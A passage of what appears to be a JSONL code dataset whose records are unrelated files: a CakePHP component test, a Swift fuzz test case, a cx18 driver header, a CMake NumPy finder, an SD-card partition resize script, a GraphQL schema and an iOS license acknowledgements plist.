$result);\n\t\t$this->assertInstanceOf('CookieAliasComponent', $this->Components->Cookie);\n\t\t$this->assertTrue($this->Components->Cookie->settings['somesetting']);\n\n\t\t$result = $this->Components->loaded();\n\t\t$this->assertEquals(array('Cookie'), $result, 'loaded() results are wrong.');\n\n\t\t$this->assertTrue($this->Components->enabled('Cookie'));\n\n\t\t$result = $this->Components->load('Cookie');\n\t\t$this->assertInstanceOf('CookieAliasComponent', $result);\n\n\t\tApp::build(array('Plugin' => array(CAKE . 'Test' . DS . 'test_app' . DS . 'Plugin' . DS)));\n\t\tCakePlugin::load('TestPlugin');\n\t\t$result = $this->Components->load('SomeOther', array('className' => 'TestPlugin.Other'));\n\t\t$this->assertInstanceOf('OtherComponent', $result);\n\t\t$this->assertInstanceOf('OtherComponent', $this->Components->SomeOther);\n\n\t\t$result = $this->Components->loaded();\n\t\t$this->assertEquals(array('Cookie', 'SomeOther'), $result, 'loaded() results are wrong.');\n\t\tApp::build();\n\t\tCakePlugin::unload();\n\t}\n\n/**\n * test load and enable = false\n *\n * @return void\n */\n\tpublic function testLoadWithEnableFalse() {\n\t\t$result = $this->Components->load('Cookie', array('enabled' => false));\n\t\t$this->assertInstanceOf('CookieComponent', $result);\n\t\t$this->assertInstanceOf('CookieComponent', $this->Components->Cookie);\n\n\t\t$this->assertFalse($this->Components->enabled('Cookie'), 'Cookie should be disabled');\n\t}\n\n/**\n * test missingcomponent exception\n *\n * @expectedException MissingComponentException\n * @return void\n */\n\tpublic function testLoadMissingComponent() {\n\t\t$this->Components->load('ThisComponentShouldAlwaysBeMissing');\n\t}\n\n/**\n * test loading a plugin component.\n *\n * @return void\n */\n\tpublic function testLoadPluginComponent() {\n\t\tApp::build(array(\n\t\t\t'Plugin' => array(CAKE . 'Test' . DS . 'test_app' . DS . 'Plugin' . DS),\n\t\t));\n\t\tCakePlugin::load('TestPlugin');\n\t\t$result = $this->Components->load('TestPlugin.Other');\n\t\t$this->assertInstanceOf('OtherComponent', $result, 'Component class is wrong.');\n\t\t$this->assertInstanceOf('OtherComponent', $this->Components->Other, 'Class is wrong');\n\t\tApp::build();\n\t\tCakePlugin::unload();\n\t}\n\n/**\n * test unload()\n *\n * @return void\n */\n\tpublic function testUnload() {\n\t\t$this->Components->load('Cookie');\n\t\t$this->Components->load('Security');\n\n\t\t$result = $this->Components->loaded();\n\t\t$this->assertEquals(array('Cookie', 'Security'), $result, 'loaded components is wrong');\n\n\t\t$this->Components->unload('Cookie');\n\t\t$this->assertFalse(isset($this->Components->Cookie));\n\t\t$this->assertTrue(isset($this->Components->Security));\n\n\t\t$result = $this->Components->loaded();\n\t\t$this->assertEquals(array('Security'), $result, 'loaded components is wrong');\n\n\t\t$result = $this->Components->enabled();\n\t\t$this->assertEquals(array('Security'), $result, 'enabled components is wrong');\n\t}\n\n/**\n * test getting the controller out of the collection\n *\n * @return void\n */\n\tpublic function testGetController() {\n\t\t$controller = $this->getMock('Controller');\n\t\t$controller->components = array('Security');\n\t\t$this->Components->init($controller);\n\t\t$result = $this->Components->getController();\n\n\t\t$this->assertSame($controller, $result);\n\t}\n}\n"} -{"text": "// Distributed under the terms of the MIT license\n// Test case submitted to project by https://github.com/practicalswift (practicalswift)\n// Test case found by fuzzing\n\nfor\ne( {\nlet : {\nenum b {\nfunc b {\nif c {\nclass\ncase ,\n"} -{"text": "/*\n * cx18 functions to query card hardware\n *\n * Derived from ivtv-cards.c\n *\n * Copyright (C) 2007 Hans Verkuil \n * Copyright (C) 2008 Andy Walls \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n */\n\n/* hardware flags */\n#define CX18_HW_TUNER\t\t\t(1 << 0)\n#define CX18_HW_TVEEPROM\t\t(1 << 1)\n#define CX18_HW_CS5345\t\t\t(1 << 2)\n#define CX18_HW_DVB\t\t\t(1 << 3)\n#define CX18_HW_418_AV\t\t\t(1 << 4)\n#define CX18_HW_GPIO_MUX\t\t(1 << 5)\n#define CX18_HW_GPIO_RESET_CTRL\t\t(1 << 6)\n#define CX18_HW_Z8F0811_IR_TX_HAUP\t(1 << 7)\n#define CX18_HW_Z8F0811_IR_RX_HAUP\t(1 << 8)\n#define CX18_HW_Z8F0811_IR_HAUP\t(CX18_HW_Z8F0811_IR_RX_HAUP | \\\n\t\t\t\t CX18_HW_Z8F0811_IR_TX_HAUP)\n\n#define CX18_HW_IR_ANY (CX18_HW_Z8F0811_IR_RX_HAUP | \\\n\t\t\tCX18_HW_Z8F0811_IR_TX_HAUP)\n\n/* video inputs */\n#define\tCX18_CARD_INPUT_VID_TUNER\t1\n#define\tCX18_CARD_INPUT_SVIDEO1 \t2\n#define\tCX18_CARD_INPUT_SVIDEO2 \t3\n#define\tCX18_CARD_INPUT_COMPOSITE1 \t4\n#define\tCX18_CARD_INPUT_COMPOSITE2 \t5\n#define\tCX18_CARD_INPUT_COMPONENT1 \t6\n\n/* audio inputs */\n#define\tCX18_CARD_INPUT_AUD_TUNER\t1\n#define\tCX18_CARD_INPUT_LINE_IN1 \t2\n#define\tCX18_CARD_INPUT_LINE_IN2 \t3\n\n#define CX18_CARD_MAX_VIDEO_INPUTS 6\n#define CX18_CARD_MAX_AUDIO_INPUTS 3\n#define CX18_CARD_MAX_TUNERS \t 2\n\n/* V4L2 capability aliases */\n#define CX18_CAP_ENCODER (V4L2_CAP_VIDEO_CAPTURE | V4L2_CAP_TUNER | \\\n\t\t\t V4L2_CAP_AUDIO | V4L2_CAP_READWRITE | \\\n\t\t\t V4L2_CAP_STREAMING | V4L2_CAP_VBI_CAPTURE | \\\n\t\t\t V4L2_CAP_SLICED_VBI_CAPTURE)\n\nstruct cx18_card_video_input {\n\tu8 video_type; \t/* video input type */\n\tu8 audio_index;\t/* index in cx18_card_audio_input array */\n\tu32 video_input;\t/* hardware video input */\n};\n\nstruct cx18_card_audio_input {\n\tu8 audio_type;\t\t/* audio input type */\n\tu32 audio_input;\t/* hardware audio input */\n\tu16 muxer_input;\t/* hardware muxer input for boards with a\n\t\t\t\t multiplexer chip */\n};\n\nstruct cx18_card_pci_info {\n\tu16 device;\n\tu16 subsystem_vendor;\n\tu16 subsystem_device;\n};\n\n/* GPIO definitions */\n\n/* The mask is the set of bits used by the operation */\n\nstruct cx18_gpio_init { /* set initial GPIO DIR and OUT values */\n\tu32 direction; \t/* DIR setting. Leave to 0 if no init is needed */\n\tu32 initial_value;\n};\n\nstruct cx18_gpio_i2c_slave_reset {\n\tu32 active_lo_mask; /* GPIO outputs that reset i2c chips when low */\n\tu32 active_hi_mask; /* GPIO outputs that reset i2c chips when high */\n\tint msecs_asserted; /* time period reset must remain asserted */\n\tint msecs_recovery; /* time after deassert for chips to be ready */\n\tu32 ir_reset_mask; /* GPIO to reset the Zilog Z8F0811 IR contoller */\n};\n\nstruct cx18_gpio_audio_input { \t/* select tuner/line in input */\n\tu32 mask; \t\t/* leave to 0 if not supported */\n\tu32 tuner;\n\tu32 linein;\n\tu32 radio;\n};\n\nstruct cx18_card_tuner {\n\tv4l2_std_id std; \t/* standard for which the tuner is suitable */\n\tint \t tuner; \t/* tuner ID (from tuner.h) */\n};\n\nstruct cx18_card_tuner_i2c {\n\tunsigned short radio[2];/* radio tuner i2c address to probe */\n\tunsigned short demod[3];/* demodulator i2c address to probe */\n\tunsigned short tv[4];\t/* tv tuner i2c addresses to probe */\n};\n\nstruct cx18_ddr {\t\t/* DDR config data */\n\tu32 chip_config;\n\tu32 refresh;\n\tu32 timing1;\n\tu32 timing2;\n\tu32 tune_lane;\n\tu32 initial_emrs;\n};\n\n/* for card information/parameters */\nstruct cx18_card {\n\tint type;\n\tchar *name;\n\tchar *comment;\n\tu32 v4l2_capabilities;\n\tu32 hw_audio_ctrl;\t/* hardware used for the V4L2 controls (only\n\t\t\t\t 1 dev allowed currently) */\n\tu32 hw_muxer;\t\t/* hardware used to multiplex audio input */\n\tu32 hw_all;\t\t/* all hardware used by the board */\n\tstruct cx18_card_video_input video_inputs[CX18_CARD_MAX_VIDEO_INPUTS];\n\tstruct cx18_card_audio_input audio_inputs[CX18_CARD_MAX_AUDIO_INPUTS];\n\tstruct cx18_card_audio_input radio_input;\n\n\t/* GPIO card-specific settings */\n\tu8 xceive_pin; \t\t/* XCeive tuner GPIO reset pin */\n\tstruct cx18_gpio_init \t\t gpio_init;\n\tstruct cx18_gpio_i2c_slave_reset gpio_i2c_slave_reset;\n\tstruct cx18_gpio_audio_input gpio_audio_input;\n\n\tstruct cx18_card_tuner tuners[CX18_CARD_MAX_TUNERS];\n\tstruct cx18_card_tuner_i2c *i2c;\n\n\tstruct cx18_ddr ddr;\n\n\t/* list of device and subsystem vendor/devices that\n\t correspond to this card type. */\n\tconst struct cx18_card_pci_info *pci_list;\n};\n\nint cx18_get_input(struct cx18 *cx, u16 index, struct v4l2_input *input);\nint cx18_get_audio_input(struct cx18 *cx, u16 index, struct v4l2_audio *input);\nconst struct cx18_card *cx18_get_card(u16 index);\n"} -{"text": "// Copyright \u00a9 MSIT 2007\n// \n// This file contains automatically generated unit tests.\n// Do NOT modify this file manually.\n// \n// When Pex is invoked again,\n// it might remove or update any previously generated unit tests.\n// \n// If the contents of this file becomes outdated, e.g. if it does not\n// compile anymore, you may delete this file and invoke Pex again.\n// \nusing System;\nusing System.Collections.Generic;\nusing Microsoft.VisualStudio.TestTools.UnitTesting;\nusing Microsoft.Pex.Framework.Generated;\n\nnamespace QuickGraph\n{\n public partial class AdjacencyGraphTVertexTEdgeTest\n {\n }\n}\n"} -{"text": "# adapted from http://voxel.jouy.inra.fr/darcs/contrib-itk/WrapITK/ExternalProjects/PyBuffer/FindNUMARRAY.cmake\n# Try to find numarray python package\n# Once done this will define\n#\n# PYTHON_NUMPY_FOUND - system has numarray development package and it should be used\n# PYTHON_NUMPY_INCLUDE_PATH - directory where the arrayobject.h header file can be found\n#\n#\n\nfind_package(PythonInterp REQUIRED)\nIF(PYTHON_EXECUTABLE)\n FILE(WRITE ${CMAKE_CURRENT_BINARY_DIR}/det_npp.py \n \"try: import numpy; print(numpy.get_include())\\nexcept Exception: pass\\n\")\n EXEC_PROGRAM(\"${PYTHON_EXECUTABLE}\"\n ARGS \"\\\"${CMAKE_CURRENT_BINARY_DIR}/det_npp.py\\\"\"\n OUTPUT_VARIABLE NUMPY_PATH\n )\nENDIF(PYTHON_EXECUTABLE)\n\nFIND_PATH(PYTHON_NUMPY_INCLUDE_PATH numpy/arrayobject.h\n \"${NUMPY_PATH}/\"\n DOC \"Directory where the arrayobject.h header file can be found. This file is part of the numarray package\"\n )\n\nIF(PYTHON_NUMPY_INCLUDE_PATH)\n SET (PYTHON_NUMPY_FOUND 1 CACHE INTERNAL \"Python numpy development package is available\")\nENDIF(PYTHON_NUMPY_INCLUDE_PATH)\n"} -{"text": "#!/bin/bash\n\n# ******************************************\n# Resize Linux ext4 partition to fill sdcard\n# ******************************************\n\nif [ \"$(id -u)\" != \"0\" ]; then\n\techo \"Script must be run as root !\"\n\texit 0\nfi\n\n_REL=`lsb_release -sc`\n\n_rootpart=`mount | grep \"on / \" | awk '{print $1}'`\nif [ \"${_rootpart}\" = \"/dev/mmcblk0p2\" ]; then\n rootdrv=\"mmcblk0p2\"\n sdcard=\"/dev/mmcblk0\"\nelif [ \"${_rootpart}\" = \"/dev/mmcblk1p2\" ]; then\n rootdrv=\"mmcblk1p2\"\n sdcard=\"/dev/mmcblk1\"\nelse\n echo \"Root fs mount partition not found!\"\n exit 1\nfi\necho \"\"\n\nfdisk -l $sdcard | grep $sdcard\necho \"\"\n\n_btrfs=`mount | grep -o btrfs`\n\nsdcard_part=`fdisk -l $sdcard | grep $rootdrv | awk '{print $1}'`\nsdcard_sect=`fdisk -l $sdcard | grep \"Disk $sdcard\" | awk '{print $7}'`\nif [ \"${sdcard_sect}\" = \"\" ]; then\n sdcard_sect=`fdisk -l $sdcard | grep total | awk '{print $8}'`\nfi\nsdcard_end=$(expr $sdcard_sect - 1024)\n\npart_start=`fdisk -l $sdcard | grep $rootdrv | awk '{print $2}'`\npart_end=`fdisk -l $sdcard | grep $rootdrv | awk '{print $3}'`\n\necho \" Max block: $sdcard_end\"\necho \" Part end: $part_end\"\necho \" Part start: $part_start\"\nif [ ! \"${_btrfs}\" = \"\" ]; then\n echo \" btrfs part: yes\"\n _resize=\"btrfs filesystem resize max /\"\nelse\n _resize=\"resize2fs ${sdcard_part}\"\nfi\necho \"\"\nif [ $part_end -ge $sdcard_end ]; then\n echo \"Partition allready maximum size !\"\n rm /usr/local/bin/fs_resize_warning > /dev/null 2>&1\n exit 0\nfi\n\necho -n \"WARNING: Do you want to resize \\\"$sdcard_part\\\" (y/N)? \"\nread -n 1 ANSWER\nif [ ! \"${ANSWER}\" = \"y\" ] ; then\n echo \"\"\n echo \"Canceled..\"\n exit 0\nfi\necho \"\"\n\n# RESIZE PARTITION\n\necho -e \"p\\nd\\n2\\nn\\np\\n2\\n$part_start\\n$sdcard_end\\nw\" | fdisk ${sdcard} > /dev/null 2>&1\n#if [ $? -ne 0 ]; then\n#\techo \"ERROR resizing partition!\"\n#\texit 1\n#fi\n\necho \"PARTITION RESIZED.\"\n\ncat > /tmp/rc.local << _EOF_\n#!/bin/sh -e\n#\n# rc.local\n#\n# This script is executed at the end of each multiuser runlevel.\n# Make sure that the script will \"exit 0\" on success or any other\n# value on error.\n#\n# In order to enable or disable this script just change the execution\n# bits.\n#\n# By default this script does nothing.\n\necho 0 > /proc/sys/kernel/hung_task_timeout_secs\n\ndmesg -n 1\n\n_EOF_\n\n\ncat > /usr/local/bin/resize_fs << _EOF_\n#!/bin/bash\n$_resize\nif [ \\$? -eq 0 ]; then\n rm /usr/local/bin/fs_resize_warning\n rm /usr/local/bin/resize_fs\n sleep 2\n if [ -d /etc/local.d ]; then\n rm /etc/local.d/opi.start\n mv /etc/local.d/opi.start.orig /etc/local.d/opi.start\n elif [ -d /etc/rc.d ]; then\n if [ -f /etc/rc.d/after.local ]; then\n rm /etc/rc.d/after.local\n mv /etc/rc.d/after.local.orig /etc/rc.d/after.local\n else\n rm /etc/rc.d/rc.local\n mv /etc/rc.d/rc.local.orig /etc/rc.d/rc.local\n fi\n else\n rm /etc/rc.local\n mv /etc/rc.local.orig /etc/rc.local\n fi\nfi\n_EOF_\n\nchmod +x /usr/local/bin/resize_fs > /dev/null 2>&1\n\n\nif [ -d /etc/local.d ]; then\n if [ ! -f /etc/local.d/opi.start ]; then\n cp /tmp/rc.local /etc/local.d/opi.start.orig\n echo \"exit 0\" >> /etc/local.d/opi.start.orig\n chmod +x /etc/local.d/opi.start.orig > /dev/null 2>&1\n fi\n echo \"/usr/local/bin/resize_fs &&\" >> /tmp/rc.local\n echo \"exit 0\" >> /tmp/rc.local\n mv /tmp/rc.local /etc/local.d/opi.start\n chmod +x /etc/local.d/opi.start > /dev/null 2>&1\n\nelif [ -d /etc/rc.d ]; then\n if [ -f /etc/rc.d/after.local ]; then\n mv /etc/rc.d/after.local /etc/rc.d/after.local.orig\n echo \"/usr/local/bin/resize_fs &&\" >> /tmp/rc.local\n echo \"exit 0\" >> /tmp/rc.local\n mv /tmp/rc.local /etc/rc.d/after.local\n chmod +x /etc/rc.d/after.local > /dev/null 2>&1\n else\n if [ -f /etc/rc.d/rc.local ]; then\n mv /etc/rc.d/rc.local /etc/rc.d/rc.local.orig\n else\n cp /tmp/rc.local /etc/rc.d/rc.local.orig\n echo \"exit 0\" >> /etc/rc.d/rc.local.orig\n chmod +x /etc/rc.d/rc.local.orig > /dev/null 2>&1\n fi\n echo \"/usr/local/bin/resize_fs &&\" >> /tmp/rc.local\n echo \"exit 0\" >> /tmp/rc.local\n mv /tmp/rc.local /etc/rc.d/rc.local\n chmod +x /etc/rc.d/rc.local > /dev/null 2>&1\n fi\nelse\n if [ -f /etc/rc.local ]; then\n mv /etc/rc.local /etc/rc.local.orig\n else\n cp /tmp/rc.local /etc/rc.local.orig\n echo \"exit 0\" >> /etc/rc.local.orig\n chmod +x /etc/rc.local.orig > /dev/null 2>&1\n fi\n echo \"/usr/local/bin/resize_fs &&\" >> /tmp/rc.local\n echo \"exit 0\" >> /tmp/rc.local\n mv /tmp/rc.local /etc/rc.local\n chmod +x /etc/rc.local > /dev/null 2>&1\nfi\n\nREBOOT=1\necho \"*********************************************\"\necho \"Rootfs Extended. Please REBOOT to take effect\"\necho \"*********************************************\"\necho \"\"\n"} -{"text": "type GetDailyForecastByZipcodePayload {\n cod: String\n message: Float\n cnt: Int\n city: Json\n list: [Json!]\n}\n\nextend type Query {\n getDailyForecastByZipcode(zipcode: String!): GetDailyForecastByZipcodePayload\n}\n"} -{"text": "30\n4\n1\n1\n3\n1\n4\n2\n5\n3\n4\n1\n2\n2\n1\n1\n1\n3\n1\n2\n5\n4\n1\n4\n2\n2\n3\n4\n4\n2\n3\n"} -{"text": "module Fun\n module GamesHelper\n def hello_world\n\n end\n end\nend\n"} -{"text": "\n\n\n\n\tPreferenceSpecifiers\n\t\n\t\t\n\t\t\tFooterText\n\t\t\tThis application makes use of the following third party libraries:\n\t\t\tTitle\n\t\t\tAcknowledgements\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2016 Hyper Interaktiv\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tForm\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tCopyright \u00a9 2006\u20132013 Peter Hosey\n All rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\nRedistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\nRedistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\nNeither the name of Peter Hosey nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\t\t\tLicense\n\t\t\tBSD\n\t\t\tTitle\n\t\t\tHYP8601\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tHYPImagePicker\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\t> Copyright (c) 2015 [Hyper Interaktiv AS](http://www.hyper.no/)\n>\n> Copyright (c) 2010-2015 [Dave DeLong](https://github.com/davedelong)\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tHYPMathParser\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tHYPNorwegianAccountNumber\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2014 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tHYPNorwegianSSN\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2015 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSDate-HYPString\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2015 Elvis Nu\u00f1ez\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n> CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n> TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n> SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\t\t\tLicense\n\t\t\tMIT\n\t\t\tTitle\n\t\t\tNSDictionary-ANDYSafeValue\n\t\t\tType\n\t\t\tPSGroupSpecifier\n\t\t\n\t\t\n\t\t\tFooterText\n\t\t\tLicensed under the **MIT** license\n\n> Copyright (c) 2015 Hyper Interaktiv AS\n>\n> Permission is hereby granted, free of charge, to any person obtaining\n> a copy of this software and associated documentation files (the\n> \"Software\"), to deal in the Software without restriction, including\n> without limitation the rights to use, copy, modify, merge, publish,\n> distribute, sublicense, and/or sell copies of the Software, and to\n> permit persons to whom the Software is furnished to do so, subject to\n> the following conditions:\n>\n> The above copyright notice and this permission notice shall be\n> included in all copies or substantial portions of the Software.\n>\n> THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n> EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n> MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n> IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 